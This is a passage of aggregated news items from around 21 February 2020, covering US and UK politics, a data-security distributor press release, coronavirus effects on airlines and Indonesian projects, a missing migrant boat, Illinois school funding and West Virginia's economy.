been entirely financed outside of the United States. They include: Hamlet (1948) - United Kingdom Tom Jones (1963) - United Kingdom A Man for All Seasons (1966) - U.K. The Last Emperor (1987) - U.K. Slumdog Millionaire (2008) - U.K. The King's Speech (2010) - U.K. The Artist (2011) - France Parasite (2019) - South Korea French movie 'The Artist' is a silent film. Advertisement Trump used the Democratic debate Wednesday as ammunition to rail against fellow billionaire Mike Bloomberg during the rally. 'I don't know if anybody watched last night's debate, it got very big ratings. And you know what? Mini Mike didn't do well last night,' he said to the room of thousands of supporters. 'I was going to send him a note saying, "It's not easy doing what I do, is it?"' Trump suggested. 'I don't know. It's not easy Mike. It's not easy for any of them. No, Mike didn't do too well. He went way down,' the president insisted. The two billionaire's are very different heights, with former New York City mayor standing at 5ft 7in and the president at 6ft 3in. The rally at Broadmoor World Arena, which has a capacity of more than 8,000, was held as part of a rare four-day campaign stint on the west coast as Democrats took their campaigns there with both a debate and the third primary contest. Trump didn't let his attention waver too far from the main point: attacking Democrats and the 'fake news,' The president claimed that Minnesota Senator Amy Klobuchar 'choked' Wednesday night and said her campaign died with her debate performance. 'Look, Bloomberg made a fool out of himself last night. He choked. He's another one who's going 'Oh, I can't breath. I can't breath. Don't ask me the question. Please,'' Trump mocked. Although many have claimed there were a few winners Wednesday night, there is widespread agreement that Bloomberg was the loser. The president held a rally in Phoenix, Arizona on Wednesday night as Democrats hosted their ninth primary debate in Las Vegas, Nevada around the same time. ATHENS, Ga., Feb. 21, 2020 /PRNewswire/ -- StarLink, the fastest-growing "True" Value-added Distributor (VAD) in the META region, having a presence in the U.S. and U.K., today announced a new partnership with Getvisibility. Under this agreement, StarLink will support the distribution of Getvisibility products and services in major parts of North America and Europe. Getvisibility presents a product that utilizes the latest technology in Deep Learning. Artificial intelligence gives companies visibility, control and a strong dynamic understanding of their data as it is being created. Getvisibility is designed to process and classify unstructured information as it is being created with an unprecedented level of classification confidence, allowing companies to quickly visualize their data footprint where new and changing data risks have become evident, thus allowing for proactive data management and security. "Ensuring the confidentiality, integrity and availability of data is a security fundamental. To achieve this, organizations need to know where the data is, what is contained within data files and who has access to them. Add in migration to the cloud and the process of securing data while being compliant becomes ever more challenging," said Ronan Murphy, CEO of Getvisibility. Getvisibility uses machine learning to discover and classify large amounts of data, facilitating a better cloud migration and a more secure data governance program, helping with both data security and regulatory mandates such as EU GDPR, CCPA, and more. "Using Artificial Intelligence as a defense will play a dominant role in addressing data security risks that become less predictable and more complex," says Duncan Hume, Vice President of StarLink North America. "Getvisibility provides a solution to the challenge of compliance our channel partners and their customers face every day. In the future, AI and machine learning will become a basic element of data and file security; Getvisibility provides functionality today." "This agreement with StarLink will yield exciting benefits for our global customers and partners," adds Ronan Murphy CEO Getvisibility. Meet us at RSA Security on February 24-28 in San Francisco. To book a meeting, contact Duncan Hume [email protected] Media queries - Susan Brennan at [email protected] StarLink is acclaimed as the fastest-growing "True" Value-added Distributor across the META regions with on-the-ground presence in 20 countries including the U.K. and USA. With its innovative Security Framework, StarLink is recognized as a "Trusted Cyber and Cloud Advisor" to over 2,200 plus enterprise customers and distributes through its Channel network of over 1,100 Partners. Learn more at www.starlinkme.net. Mary Aji | Director, Marketing StarLink E: [email protected] Related Links Getvisibility StarLink North America SOURCE StarLink North America Related Links http://www.starlinkme.net NEW HARTFORD, N.Y. An event was held at the New Hartford American Legion today calling on Gov. Andrew Cuomo to reconsider nearly $6 million in cuts to veterans programs included in the state budget. The largest cut is to a peer-to-peer counseling program. Assemblyman Robert Smullen, R-118, says its important to prioritize veterans and the programs that provide much needed services. What we are doing is making sure no veterans get left behind. These are people who have fought for their country. These are people who are very important in their communities. They're part of civil society and I think we should keep faith with them by making sure these programs - which ensure no veteran gets left behind are kept in the budget, said Smullen. The event was dubbed Voices for Veterans, to show support for the men and women who served the country. Asha Devi, the mother of the 2012 Delhi gang-rape victim, on Friday blamed the convicts' lawyer AP Singh for trying to delay the justice by misguiding the court . "Convict's lawyer now does not have anything.. he is misguiding the court to delay the justice. Not Vinay Singh, it is him who needs rest. Vinay is absolutely fine... he is mentally stable," she said while speaking to ANI in New Delhi. The Patiala House Court on Monday issued fresh death warrants against four convicts while hearing a petition by the state and Nirbhaya's parents. During the hearing, convicts' lawyer AP Singh told the court that Vinay is on a hunger strike and his mental status is also not well. Singh also sought the court's direction to jail authorities for his health check-up and proper medical report. Earlier, Delhi High Court on February 5 granted a week's time to the four convicts to avail of all legal remedies available to them and said that the convicts cannot be hanged separately since they were convicted for the same crime. The case pertains to the brutal gang-rape and killing of a 23-year-old paramedical student in a moving bus on the night of December 16, 2012, by six people including a juvenile in Delhi. The woman had died at a Singapore hospital a few days later. One of the five adults accused, Ram Singh, had allegedly committed suicide in the Tihar Jail during the trial of the case. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Airline industry body IATA predicts global air travel demand will fall for the first time since 2009. Photo: Reuters Airlines stand to lose $29.3bn (23.7bn) of revenue this year due to the coronavirus outbreak, the global airline industry body has warned. The International Air Transport Association (IATA) predicts demand for air travel will fall for the first time in more than a decade. Airlines in China and other parts of the Asia Pacific region are expected to take the vast majority of the impact. It comes as carriers around the world have been forced to reduce flights. In total, airlines in the Asia Pacific region are set to see a $27.8bn revenue loss in 2020, while those outside Asia are expected to lose $1.5bn in revenue, IATA has forecast. Of that figure, IATA predicts that carriers in China are set to lose revenue of $12.8bn in their home market alone. "Airlines are making difficult decisions to cut capacity and in some cases routes," said IATA's director-general Alexandre de Juniac. "This will be a very tough year for airlines." However, IATA cautioned it was too early to predict what this expected revenue loss would mean for airlines' profitability this year. IATA said it had based its estimates on the slump in demand that was seen during the Sars (severe acute respiratory syndrome) outbreak in 2003. That was characterised by a six-month period that saw a sharp fall in demand followed by an equally quick recovery. That year Sars was responsible for the 5.1% fall in demand for airlines in the Asia-Pacific region. The forecast also assumes that the virus remains centred on China, but IATA warned the effect could be far worse if the infection spreads further in the region. IATA has previously forecast that the Asia Pacific region would be the biggest driver of air travel demand between 2015 and 2035, with four of the five fastest-growing markets in terms of passengers being from Asia. On Thursday, two major airline groups warned of a severe financial impact as a result of the coronavirus hitting demand for travel in Asia. Australia's Qantas said the outbreak would cost it up to 150m Australian dollars ($99m; 76m), while European carrier Air-France KLM put the cost at up to 200m ($213m; 168m) for the period between February and April. BBC Qantas warns coronavirus impact could hit $99m The warning comes as concerns grow over the impact of the outbreak on airlines and the global economy. The dinghy had contacted a crisis hotline for distressed migrants after sailing from Libya for Europe on February 8. A rubber dinghy packed with 91 migrants and refugees that set out from Libya with hopes of reaching Europe appears to have gone missing in the Mediterranean, the UN migration agency said on Thursday. The inflatable boat carrying mostly African migrants departed from al-Qarbouli, 50km (30 miles) east of the capital, Tripoli, on February 8, said Osman Haroun, whose cousin was on board. He has not heard from the 27-year-old Mohamed Idris, or his 10 other friends also on the boat, since. Its the first time Ive heard of this happening, Haroun told The Associated Press by phone from the western coastal district of Zawiya, where he has lived with his family since fleeing the conflict-ridden Darfur region of Sudan in 2016. Those who set out you usually hear from within a few hours no one has even seen the boats remains. News of the missing boat comes amid criticism of a lack of European Union rescue missions in the Mediterranean Sea. Member countries agreed earlier this week to end an anti-migrant smuggler operation involving only surveillance aircraft and instead deploy military ships to concentrate on upholding a widely flouted UN arms embargo that is considered key to winding down Libyas relentless war. Alarm Phone, a crisis hotline for migrants in need of rescue at sea, drew attention on Thursday to what it called an invisible shipwreck, urging Libyan, Maltese and Italian authorities to share information about the days rescue missions. It said a black rubber boat with 91 people on board, reportedly hailing from Sudan, Niger, Iran and Mali, called the hotline in distress at 3:30am on February 9. The passengers managed to share their GPS coordinates minutes later, which put them in international waters north of Libya. Alarm Phone passed the SOS to Italian and Maltese authorities and to the Libyan coast guard, an EU-trained force criticised by human rights groups, which patrols Mediterranean waters and intercepts migrants to keep them from reaching European shores. The Libyan coast guard took five hours to respond to Alarm Phones urgent request, and said it dispatched two ships to search for the missing vessel, without providing evidence. Alarm Phone lost contact with the boat more than two hours later, when it heard people panicking, saying the engine had failed. Migrants were slipping into the sea, they told the hotline, as water flooded the shrinking dinghy. For sure something bad has happened, said Haroun. The International Organization for Migration cross-checked search and rescue records from Italy, Malta, Libya and the non-governmental Aita Mari rescue ship, but could not match the missing migrant boat with any recent interceptions or rescues. Italian, Maltese and Libyan authorities did not respond to requests from The Associated Press for information about their rescues. Frontex, the EU border agency, said it deployed a plane to search for the missing boat. Authorities have also yet to respond to requests put forward by Alarm Phone on Monday. Both Alarm Phone and the IOM say they fear the worst. Tragically, the last hypothesis is that this could be another invisible shipwreck, said Marta Sanchez, a project officer with IOMs Missing Migrants project who examined the records. Sanchez said the IOM would wait a few days before officially recording the 91 people as missing, to see if any remains turn up. The IOM tally of ghost boats lost in the Mediterranean Sea has been rising. Last year, the agency documented seven missing vessels carrying 417 people, a four-fold increase from the year before. The migration agency sources its data from non-government organisations and testimony from families, and cross-references the reports against records of attempted crossings, rescues and interceptions. Haroun, 29, said he and his cousin had repeatedly tried and failed to cross the Mediterranean throughout their years in Libya. As the North African country descended into chaos following the 2011 uprising that toppled and killed longtime leader Muammar Gaddafi, it became a haven for smugglers ferrying African migrants to European shores. The voyage is perilous, often harrowing. As of last October, roughly 19,000 migrants have drowned or disappeared on the sea route since 2014, according to the IOM. Each time Haroun and Idris set out, the coastguard forcibly returned them to war-ravaged Libya. In 2020 alone, 1,700 people have been brought back, according to the IOM, often landing in squalid militia-run detention centres rife with torture and abuse. Haroun paid 1,500 Libyan dinars (some $1,000) upfront to smugglers, and bade his cousin farewell, imagining he would join his four relatives who have crossed the sea and started new lives in England and France. Around 1,000 healthcare workers are to strike across the country today in a dispute over pay restoration. Homecare, dementia and Alzheimer's services are among the sectors involved. SPRINGFIELD Education funding is again top of mind at the Capitol, with a key cog of Gov. J.B. Pritzkers fiscal year 2021 budget proposal facing pushback. At issue is the states 3-year-old K-12 evidence-based education funding system. For the fourth straight budget year, lawmakers are discussing how many hundreds of millions of dollars in additional funding the formula will receive compared to a year ago. On Wednesday, Pritzker laid out two scenarios for K-12 funding. The first adds the full statutory target of $350 million in new funding to the formula next fiscal year. The second would add $200 million. Which of the scenarios play out would depend on voters approval on Nov. 3 of a constitutional amendment to scrap Illinois 4.95 percent flat income tax and let Illinois charge higher rates on higher levels of income. It would essentially raise the tax burden on residents making more than $250,000 a year while maintaining or lowering it modestly for others If the amendment passes, government forecasters predict Illinois would have an extra $1.4 billion to spend in the fiscal year, allowing for the added $150 million in K-12 funding. The graduated tax-free budget holds $40 million in reserve for categorical payments to school districts for programs such as special education and transportation on the contingency of the graduated tax passage as well. Republicans have lampooned the dual budget proposal as holding added education investment hostage as a marketing ploy for Pritzkers graduated tax. This bullying tactic to hold funding to our schools hostage, and our students, in order to get his way, not only is irresponsible but represents a false choice, Rep. Avery Bourne, R-Morrisonville, an assistant minority leader in the House, said in a news conference Thursday. Democrats, including two of the lead architects of the evidence-based model, also were lukewarm on the idea as well, but said its the first step in a long process of budgetary negotiations. State Sen. Andy Manar, D-Bunker Hill, led the Senate Democrats in negotiations for the evidence-based formulas passage in 2017. On Thursday, he said he would support full funding for the $350 million regardless of the graduated taxs passage. Its Day 1 of the budget making process, he said. And theres multiple ways to achieve what I think most people want to achieve, which is at the end of Fiscal Year 21 (which runs July 1, 2020 to June 30, 2021), we will have put minimum $350 million more into the evidence-based formula. The $350 million number is defined as a target in statute, with the goal of bringing all districts to 90 percent of funding adequacy by 2027. Another goal is to lower local property taxes by reducing the need for school boards to raise their property tax levies each year to meet spending needs. The formula determines the level of funding need for each district individually through an adequacy target determined by several variables tied to student performance. It separates districts into four tiers: one being the least funded, four being the most and distributes 99 percent of new funding to the lowest two tiers with the majority going to Tier 1. The statute has a secondary formula that kicks in if the full $350 million number is not met. The secondary formula directs an even larger share of new funding to Tier 1 districts. Republicans questioned whether a budget appropriating $350 million but holding $150 million of that in reserve would affect which formula kicks in. Manar said that critical question would have to be addressed in budget negotiations. Manar and Rep. Will Davis, D-Homewood, have argued that, for all districts to meet adequacy in the laws original 10-year target window, the state should be contributing hundreds of millions more on top of the $350 million. An analysis by the non-profit think tank Center for Tax and Budget Accountability states the actual number needed to get the state to adequacy in 2027 is $7.35 billion, or about $780 million in total added funding each year. Manar said hed ideally like to see that number hit, but acknowledged the $350 million number was a product of negotiations which led to the 2017 passage of the bill, not an actual avenue to adequacy within the specified time frame. He also said funding less than the $350 million could drive Tier 2 districts down to Tier 1. For Bourne and House Republicans, though, the prospect of $150 million that may or may not be realized this year means instability for local schools and the potential of higher property taxes. What the governor proposed this two-step approach does not guarantee fully funded schools and it will force their budgeting process to make difficult decisions without the certainty of knowing what the state will be sending them, she said. But Manar said three straight years of funding increases totaling more than $900 million have schools in a much better place than they were five years ago when state budgeting conversations centered around what extent K-12 budgets would be prorated each year. District and state budgeting always intertwines, he said, to create some uncertainty. Republicans are not the only ones putting Pritzkers budget proposal on blast. In a statement, Robin Steans, president of the independent public education policy organization Advance Illinois, said she was deeply disappointed with Pritzkers dual budget approach. In a world where the current Minimum Funding Level wont get us to full funding in the promised 10-year timeframe, and where we want schools to put new dollars to work for children as quickly and effectively as possible, the FY21 investment strategy is devastating, she said. Both chambers of the General Assembly must approve a budget before Pritzker can sign it into law. The process is generally scheduled to conclude at the end of May. West Virginia is the only US state created from a Confederate state. West Virginia broke off from Virginia in 1861, to form its own state when Virginia seceded from The Union. During the early days of the state, its mineral industry flourished. Today, mining remains an economic engine in West Virginia. In 2014, the economy of West Virginia accelerated with a growth rate of 5.1%, ranking the state the 3rd fastest-growing state in the US. The economy of West Virginia today is both rich in natural resources and ripe with technological advances. Marked with consistent growth and diversification, the economy of West Virginia is a global hub for chemicals and a national hub for biotech industries. West Virginia is also a leading state in energy. The economy of West Virginia is also diversified in areas such as aerospace, automotive, manufacturing, telecommunications, media, education, healthcare, hospitality, metals and steel, forestry, biometrics and tourism. In August 2019, the unemployment rate in West Virginia was at its lowest (4.6%) since the start of the Great Recession. Here are some of the biggest industries in West Virginia: Mining Mining has been an integral part of West Virginia for over a century and is a leading contributor to GDP growth in the State. In 2016, the mining industry of West Virginia contributed $4.6 billion to the GDP of the state. The same year, the mining industry employed about 12, 566 West Virginians translating to 1.8% of the total workforce. The most important mined product in West Virginia is coal. Coal was first discovered in West Virginia in 1742. Large scale production of coal in the state began in the mid-1800s. Out of the 55 counties of West Virginia, 53 of them have coal deposits. West Virginia is the 2nd largest producer of coal in the US after Wyoming. In 2017, the coal mining industry accounted for 2% of West Virginias employment. The coal industry employs about 30,000 people and was responsible for a $3.5 billion impact. About 75% of West Virginias mining income is derived from coal. Natura gas is also mined in West Virginia. Natural gas accounts for 20% of West Virginias mining income. Other minerals mined in the state are petroleum, salt, sand gravel, and crushed stone. Clean energy initiatives have had a considerable impact on the mining industry of West Virginia, especially on coal mining. Today, mining safety and ecological concerns are major challenges to coal mining in West Virginia and have caused a fall in the mining economic output in recent years. Manufacturing A large portion of West Virginia's manufacturing industry is chemical manufacturing. The chemical industry accounts for a fifth of the jobs in the manufacturing sector and nearly 40% of manufacturing sectors economic output. Chemicals manufactured in West Virginias are adhesives, plastics, pharmaceuticals and industrial chemicals. Other manufacturing sectors in West Virginia are the motor vehicles and parts, primary metals, petroleum and coal products, fabricated metal products, wood products, aerospace and other transportation equipment, non-metallic mineral products, food, beverage and tobacco products. West Virginia is home to more than 1050 manufacturing firms. Besides, the state has one of the United States main concentrations of biotech industries and many automotive forerunners. Manufactures in West Virginia account for 10.25% of the total output of the state. The manufacturing industry of west Virginia employs 6.48% of the total workforce. In 2018, the total output from the manufacturing sector in West Virginia was $7.94 billion. The same year, manufactured good exports earned the economy of West Virginia $3.64 billion. Small businesses account for 76% of the total manufacturing exporters in the State. Agriculture West Virginia has a long history of agriculture, dating back to the Native Americans and the early European settlers. In 2016, west Virginia generated $0.7 billion in agricultural receipts. The states agricultural production and processing industries represented 1.3% of the total GDP of West Virginia. In 2018, there were 20,400 farms in West Virginia, totalling to about 3.6 million acres. West Virginia has a rugged terrain of rolling mountains, hills and valleys which has earned the state the name the Mountain State. As it can be expected in rugged terrain, livestock production is far more important in west Virginia accounting for 82% of the agricultural production. The highest valued livestock commodities are broilers, cattle and calves, turkeys, sheep and lambs, hogs, chicken and farm-produced fish. Livestock products produced are dairy products, chicken eggs and wool. Hay is the number one crop produced in West Virginia. Hay accounts for 2% of West Virginias total agricultural receipts. Other crops grown in west Virginia are apples, corn for grain and silage, wheat, soybeans, peaches and tobacco. Service Industry There is a great deal of diversity in the service industry of West Virginia. The states service industry comprises of sectors such as health and education, biometrics and government, hospitality, media and telecommunications, printing, retail, tourism and banking. The largest share of gross product in the services industry is accounted for by community personal and business service. Of significant importance to West Virginia are the tourism and healthcare industries which have been constantly growing over the recent years, adding more jobs and opportunities. Tourism in the Mountain State produces $13 million daily economic impact. The tourism industry of West Virginia employs more than 45,000 people. Major tourist attraction in West Virginia is the Snowshoe Mountain, White Grass Ski Touring Centre, White Grass Ski Touring Centre, Oglebay Resort, Winterplace Ski Resort, and Canaan Valley. The Mountain State is home to major media entities such as the Marquee Cinemas, West Virginia Radio Corporation, West Virginia Media Holdings, Ogden Newspapers and West Virginia Metro News. NASA's Independent Verification and Validation Facility, the FBI's Criminal Justice Information Services Division, and the U.S. Department of Treasury's Bureau of the Public Debt are some of the Government facilities located in West Virginia. Afghan security personnel gather at the site of a car bomb attack in Kabul, Afghanistan in a Nov. 13, 2019, file photograph. (Rahmat Gul/AP Photo) US, Taliban Announce Peace Deal to Be Signed Next Week The United States and the Taliban reached an understanding in recent weeks on a reduction of violence in Afghanistan, the State Department said Friday, and plan to sign a peace agreement on Feb. 29. U.S. negotiators and Taliban representatives have been meeting in Doha, Qatar, to try to hammer out a deal that would see the Taliban cut down on military action, paving the way for the United States to withdraw troops from Afghanistan. An understanding has been reached between the parties on a significant and nationwide reduction in violence across Afghanistan, Secretary of State Mike Pompeo said in a statement. If the understanding is successfully implemented, then the United States expects an agreement to be signed on Feb. 29, followed by negotiations between the Taliban and the Afghan government. The only way to achieve a sustainable peace in Afghanistan is for Afghans to come together and agree on the way forward, Pompeo stated. Challenges remain, but the progress made in Doha provides hope and represents a real opportunity. The United States calls on all Afghans to seize this moment. Pompeos announcement came after Sirajuddin Haqqani, a senior Taliban leader, attempted to portray the group as a victim of circumstances. We did not choose our war with the foreign coalition led by the United States. We were forced to defend ourselves. The withdrawal of foreign forces has been our first and foremost demand, he wrote in a New York Times op-ed. That we today stand at the threshold of a peace agreement with the United States is no small milestone. One of the major challenges, Haqqani said, would be reaching an agreement with the Afghan government. One of President Donald Trumps campaign promises was the reduction of troops in international arenas. U.S. troops have been in Afghanistan since 2001. The United States, led by White House envoy Zalmay Khalilzad, started negotiating with the Taliban last year. Secretary of Defense Mark Esper said on Feb. 13 that the parties negotiated a proposal for a weeklong reduction of violence. Esper, speaking after a meeting with North Atlantic Treaty Organization allies, said he was consulting with allies about the proposal. Weve said that the bestif not onlysolution in Afghanistan is a political agreement, Esper said. Speaking at the Munich Security Conference later in the week, Esper called the solution promising, adding: Its my view as well that we have to give peace a chance, that the best if not the only way forward in Afghanistan is through a political agreement and that means taking some risk. That means enabling our diplomats and that means working together with our partners and allies on the ground to affect such a thing, he said. Pompeo earlier this month said an agreement on reducing violence would require demonstrable evidence from the Taliban. He said that negotiations came close to an agreement before but failed because the Taliban were unable to demonstrate seriousness. Were working on a peace and reconciliation plan, putting the commas in the right place, getting the sentences right. We got close once before to having an agreement: a piece of paper that we mutually executed and the Taliban were unable to demonstrate either their will or capacity or both to deliver on a reduction in violence, he told reporters in Uzbekistan. So, what we are demanding now is demonstrable evidence of their will and capacity to reduce violence, to take down the threat, so the inter-Afghan talks will have a less violent context. Finucane family members pictured at Stormont after a meeting with the Secretary of State Rt Hon Brandon Lewis seeking a Public enquiry into the murder of Pat Finucane. Presseye/Stephen Hamilton The widow of murdered solicitor Pat Finucane has been told that the British Government will issue a response to the Supreme Court ruling over the investigation into her husbands death in a matter of weeks. Geraldine and a number of members of the Finucane family met Northern Irelands new Secretary of State, Brandon Lewis, at Stormont House on Friday. Pat Finucane was shot by loyalist paramilitaries in front of his family in Belfast in 1989 in collusion with state security forces. In February last year, the Supreme Court ruled that investigations into the fatal shooting of the Belfast solicitor have not been effective and fell short of international human rights standards. NIs Secretary of State Brandon Lewis has told Geraldine Finucane and her family that the British Government will issue a response to the Supreme Court ruling re the investigation into Pat Finucanes murder in a matter of weeks. pic.twitter.com/ZhNDQmCpAu Cate McCurry (@CateMcCurry) February 21, 2020 Mrs Finucane has been critical of the British Governments delayed response to the judgment. Speaking outside Stormont, she said: We came today to meet the Secretary of State to hear the response of the Government and what they intend to do. We did not hear anything they have not made up their mind what theyre going to do. Expand Close 21/02/2020 Finucane family members pictured at Stormont after a meeting with the Secretary of State Rt Hon Brandon Lewis seeking a Public enquiry into the murder of Pat Finucane. Geraldine Finucane. Mandatory Credit Presseye/Stephen Hamilton Presseye/Stephen Hamilton / Facebook Twitter Email Whatsapp 21/02/2020 Finucane family members pictured at Stormont after a meeting with the Secretary of State Rt Hon Brandon Lewis seeking a Public enquiry into the murder of Pat Finucane. Geraldine Finucane. Mandatory Credit Presseye/Stephen Hamilton The Secretary of State has said he has a report to read and when he has read that he will speak to the Prime Minister (Boris Johnson) and they will make a decision in the case. He said that will happen in a matter of weeks, not months. I hope that is the case. Last month, a Belfast High Court ruled that Mrs Finucane can challenge the British Governments alleged failure to act on the ruling. We have been through this for 31 years so we will judge if and when the response comes within those weeksJohn Finuane She added: He (Mr Lewis) did not make the excuse that hes only into the job but we did point out that in the past year there have been three secretary of states and no decision has been made and its about time there is no reason why it has been this long. Mrs Finucane was joined by her sons, North Belfast MP John Finucane and Michael, as well as Pats brother Martin during the meeting. John said: Its worth remembering weve been forced to bring the British Government to court to elicit the response to the Supreme Court judgment from last February. We were promised meetings by (former secretaries of state) Karen Bradley and Julian Smith, they didnt materialise and we initiated court proceedings which we shouldnt have to do to force the Government to respond. Brandon Lewis did want to meet us today and he did. We didnt want to come here just for the sake of meetings, we wanted something tangible. We wanted to know what the Governments response is. We are no further on in that sense today. But we have been given a commitment that their response will be forthcoming within weeks. We have been through this for 31 years so we will judge, if and when, the response comes within those weeks. Grace Millane's killer sentenced to at least 17 years in jail The killer of British backpacker Grace Millane has been sentenced to life in prison with a minimum non-parole period of 17 years. The 28-year-old man strangled Miss Millane to death in New Zealand on the night of 1 December 2018, the eve of her 22nd birthday. He will spend at least 17 years behind bars for her murder after being sentenced at Auckland High Court this morning. The man killed her in his hotel room before burying her body in a shallow grave on the outskirts of Auckland. Miss Millane's mother Gillian, speaking to the court via a video-link, confronted her daughters killer, saying: She died terrified and alone in a room with you. Worshippers praised for bravery after knife horror at London mosque Worshippers at a central London mosque have been praised for their bravery following a horror knife attack during afternoon prayers. A man, 29, was arrested on suspicion of attempted murderer after a man in his 70s was found with stab wounds at the mosque, near Regents Park, yesterday. Witnesses described how the congregation was settling down to pray when the suspect launched a vicious attack on the muezzin who makes the call to prayer. Members of the congregation restrained the attacker until police and emergency services arrived, said Ayaz Ahmad, adviser to the mosque. Brits stranded on virus-hit ship to be flown home today Dozens of Britons who have been trapped on a coronavirus-hit cruise ship in Japan are today set to fly home. Around 70 people who have been held in quarantine on the Diamond Princess are due to land at base near Salisbury, Wiltshire, in the early hours of tomorrow. The vessel was carrying more than 3,700 people in early February when 10 passengers were diagnosed with the Covid-19 strain of the disease. Vigils held across Germany after Neo-Nazi gunman kills nine Vigils have been taking place across Germany after a Neo-Nazi gunman killed nine people in Hanau. A number of events held for the victims of the terrorist attack, which took place on Wednesday, turned into anti-racist protests. Thousands of people carrying banners with slogans such as "everyone together against right-wing terror" took to the streets last night to denounce xenophobia. June Brown says she's quit EastEnders 'for good' EastEnders actress June Brown has quit after 35 years of playing the chain-smoking Albert Square mainstay Dot Cotton. The 93-year-old star, whose stint on the soap began in 1985, said she has left the show "for good". Her character had not featured since an episode last month, when Dot left a voicemail for Sonia Fowler, saying she had moved to Ireland. On this day... 1437: James I, King of Scotland, was assassinated by a group of dissident nobles led by Sir Robert Graham. 1595: Robert Southwell, English poet and Jesuit martyr, was hanged, drawn and quartered at Tyburn. 1613: Michael Romanov was elected Tsar of Russia, founding the house of Romanov which ruled until the revolution in March 1917. 1849: Britain annexed the Punjab at the end of the Second Sikh War. 1858: The first electric burglar alarm was installed by Edwin T Holmes of Boston, Massachusetts. 1949: A Woman To Remember, one of the first television soap operas, began in the United States. 1952: Identity cards were abolished in Britain. 1965: Malcolm X was shot dead while addressing a meeting in New York. Source: Xinhua| 2020-02-21 13:59:21|Editor: huaxia Video Player Close ULAN BATOR, Feb. 21 (Xinhua) -- The Mongolian government on Friday announced its decision to fire Vanchig Rentsendorj, governor of the western Mongolian province of Govi-Altai, on grounds of violating the code of official conduct. "Today, Mongolian Prime Minister Ukhnaa Khurelsukh issued an order to dismiss Rentsendorj from his post. It was found that Rentsendorj has kept alcoholic beverages at his workplace," Luvsannamsrai Oyun-Erdene, head of the cabinet secretariat, told reporters. In 2018, the Mongolian government decided to prohibit government employees from drinking alcohol during working hours and imposed a ban on keeping alcoholic beverages at governmental organizations at all levels. Indonesian President Joko Widodo (center) inspects a model of a China-backed high-speed railway, which will connect Jakarta to Bandung during a groundbreaking ceremony in West Java, Jan. 21, 2016. At least two China-backed infrastructure projects in Indonesia have been disrupted because of travel bans and shipments suspended because of the coronavirus outbreak, project managers said, while employees at an industrial park have been cleared to work after being quarantined. Thousands of Chinese nationals are constructing a high-speed railway connecting the Indonesian capital Jakarta to Bandung, and a hydropower project in North Sumatra province. But as a result of Jakartas ban on flights to and from China, many of the workers have been unable to return to Indonesia after going home to celebrate the Lunar New Year, company executives said. PT Kereta Api Cepat Indonesia China (KCIC), the consortium building the railway, is expected to miss construction targets because about 300 Chinese workers are absent and some materials have not been shipped, the companys managing director, Chandra Dwiputra, told reporters on Friday. I cant talk about targets for this year, Chandra said. The problem is many of those who returned to China are at senior levels and this has affected decision making. So far, Indonesian officials have reported no cases of the coronavirus (COVID-19), whose epicenter was reported to be Wuhan, the capital of Hubei province in China. As of Thursday, at least 75,000 cases had been detected in 27 countries with most concentrated in China, according to the World Health Organization (WHO). At least 2,100 deaths have been reported. Chandra said project directors, managers, engineers and consultants were among the absent Chinese workers. The project employs 14,000 people, including 2,000 Chinese nationals. In addition, nearly 50 percent of materials used in the project including pipes, waterproofing materials and signaling equipment are made in China, and some manufacturers have not resumed production, he said. Concrete, steel and some other materials are available here, but if there are no supporting materials, construction will be disrupted, he said. Chandra said he had asked contractors to replace the Chinese workers with Indonesians temporarily. The point is I am encouraging contractors to adjust plans according to the current conditions, he said. However, Transportation Minister Budi Karya Sumadi said he expected no major disruptions to China-funded infrastructure projects. Here, there are no problems, Budi told reporters. On the contrary we want them to be faster, he said. Indonesias president, Joko Jokowi Widodo, has made improving Indonesias infrastructure a priority during his second term in office. Prior to his re-election last year, Jokowi embraced Chinese investment and attended the 2017 unveiling of Beijings One Belt, One Road (OBOR) initiative, an estimated U.S. $1 trillion-plus initiative to build a network of railways, ports and bridges across 70 countries. The $6 billion high-speed railway is OBORs flagship project in Indonesia. Hydroelectric project In North Sumatra, the construction of the hydroelectric power plant has been suspended because of the absence of Chinese workers and it could miss its 2022 completion target date, said Emmy Hafild, a senior adviser at PT North Sumatra Hydro Energy (NSHE). Chinas ZheFu Holding Group owns a majority stake in NSHE, which is building the 510-megawatt hydropower dam in the Batang Toru rainforest. More than 120 of the 1,200 employees constructing the plant are Chinese nationals, Emmy told local media earlier this week. We dont know how long it will stop, because it depends on the lifting of the ban on Chinese entering the country, Emmy told Kompas.com. Environmental groups and scientists have called on the government to scrap the project, saying the plant would divide the habitat of about 800 Tapanuli orangutan and increase the risk of their extinction. The Batang Toru Ecosystem is the only known home to the Tapanuli orangutan, which was discovered in 1939. It has been identified as a distinct species, and recently was listed as critically endangered by the International Union for Conservation of Nature. The company has said the project would not threaten protected animals, including the orangutan. Meanwhile, 3,000 Chinese employees at an industrial complex in Central Sulawesi province who went into a quarantine last month amid fears of the coronavirus outbreak have since been released. Production at the Chinese-owned company, PT Indonesia Morowali Industrial Park, which employs 28,000 Indonesians, continued during the quarantine carried out by the company. We are grateful. The 3,000 workers from China are declared free from the coronavirus. No one is infected, company spokesman Dedy Kurniawan told BenarNews. Reny A. Lamadjido, chief of the Central Sulawesi Health Office, confirmed the result. Slower growth forecast The project disruptions and other trade issues linked to the COVID-19 outbreak prompted Bank Indonesia, the countrys central bank, to cut the 2020 growth forecast for Indonesia, expected to be 5.1 percent to 5.5 percent, to 5.0 percent to 5.4 percent. Bank Gov. Perry Warjiyo said the revised estimate was in line with the uncertain outlook of the global economy after the epidemic. In addition, the Ministry of Tourism said Indonesia could lose $4 billion as a result of flight bans to and from China. About 2 million Chinese visit Indonesia annually. Chinas ambassador to the Association of Southeast Asian Nations (ASEAN) said he expected the negative impact on the economy would be temporary and short-term. We are hopeful that with the decisive measures taken by the Chinese government, the epidemic will be controlled and cleared up and production by manufacturers will recover, Ambassador Deng Xijun told reporters in Jakarta. So we hope that people-to-people relations, normal trade and investment will be resumed as early as possible. Tia Asmara in Jakarta contributed to this report. West Bengal Chief Minister Mamata Banerjee on Friday paid homage to those who had sacrificed lives for their mother tongue. On the occasion of International Mother Language Day, the chief minister said it is observed across the state for paying tribute to these martyrs. Banerjee tweeted in Bengali, "Today is 21st February, an occasion being celebrated across Bengal for paying tribute to those who had sacrificed their lives for their mother tongue. My homage to all those martyrs. "We love all the languages including our mother tongue." International Mother Language Day (IMLD) is a worldwide annual observance held on 21 February to promote awareness of linguistic and cultural diversity, and multilingualism. In Bangladesh, February 21 (known as 'Amar Ukeshe) is observed to remember the sacrifice made by the 